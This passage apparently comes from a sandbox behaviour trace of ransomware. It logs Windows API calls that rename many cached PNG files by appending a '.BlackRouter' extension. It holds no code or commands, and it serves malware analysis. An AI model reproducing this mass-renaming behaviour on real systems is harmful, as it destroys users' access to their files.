(lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA58NQj[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa58nqj[1].png.blackrouter")) returned 1 [0068.130] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1c4 [0068.161] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x515e8570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x515e8570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf22bcd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1d0)) returned 1 [0068.161] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA61Ofl[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa61ofl[1].png.blackrouter")) returned 1 [0068.167] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2ed [0068.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45915110, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45915110, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf277f90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0068.188] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AA6SFRQ[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aa6sfrq[2].png.blackrouter")) returned 1 [0068.189] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x19e [0068.211] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4580a770, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4580a770, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf2c4250, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a0)) returned 1 [0068.211] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png.blackrouter")) returned 1 [0068.212] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2c1 [0068.215] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53846310, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53846310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf2c4250, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d0)) returned 1 [0068.215] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png.blackrouter")) returned 1 [0068.216] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x157 [0068.243] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf310510, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0068.243] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAmin0Z[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aamin0z[1].png.blackrouter")) returned 1 [0068.244] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x145 [0068.266] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45987530, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45987530, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf336670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0068.266] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB56XTo[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb56xto[1].png.blackrouter")) returned 1 [0068.267] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1b6 [0068.270] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52e28590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52e28590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf336670, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1c0)) returned 1 [0068.270] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB5vO0g[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb5vo0g[1].png.blackrouter")) returned 1 [0068.270] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x156 [0068.290] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf382930, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1 [0068.290] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BB8AdqN[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bb8adqn[1].png.blackrouter")) returned 1 [0068.291] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xef00 [0068.306] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a91ed0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a91ed0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf3a8a90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xef10)) returned 1 [0068.307] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png.blackrouter")) returned 1 [0068.307] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x3a2 [0068.325] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x51256470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51256470, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf3cebf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3b0)) returned 1 [0068.325] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBih5H[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbih5h[1].png.blackrouter")) returned 1 [0068.326] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x24c [0068.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe4ca790, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe4ca790, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xcf3f4d50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x250)) returned 1 [0068.337] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBmUxRK[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbmuxrk[1].png.blackrouter")) returned 1 [0068.337] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x398 [0068.340] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459f9950, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459f9950, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf3f4d50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x3a0)) returned 1 [0068.340] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBndhJA[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbndhja[1].png.blackrouter")) returned 1 [0068.341] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x230 [0068.353] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458c8e50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458c8e50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xcf41aeb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1 [0068.353] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBoqF0J[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bboqf0j[1].png.blackrouter")) returned 1 [0068.354] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x116 [0068.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53063a30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53063a30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf41aeb0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x120)) returned 1 [0068.360] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBzjV9E[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbzjv9e[1].png.blackrouter")) returned 1 [0068.361] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x1622 [0068.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60aec760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60aec760, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xcf441010, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1630)) returned 1 [0068.374] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\chrome_logo_2x[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\chrome_logo_2x[1].png.blackrouter")) returned 1 [0068.375] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x13d [0068.385] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\close-icon[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\close-icon[1].png"), 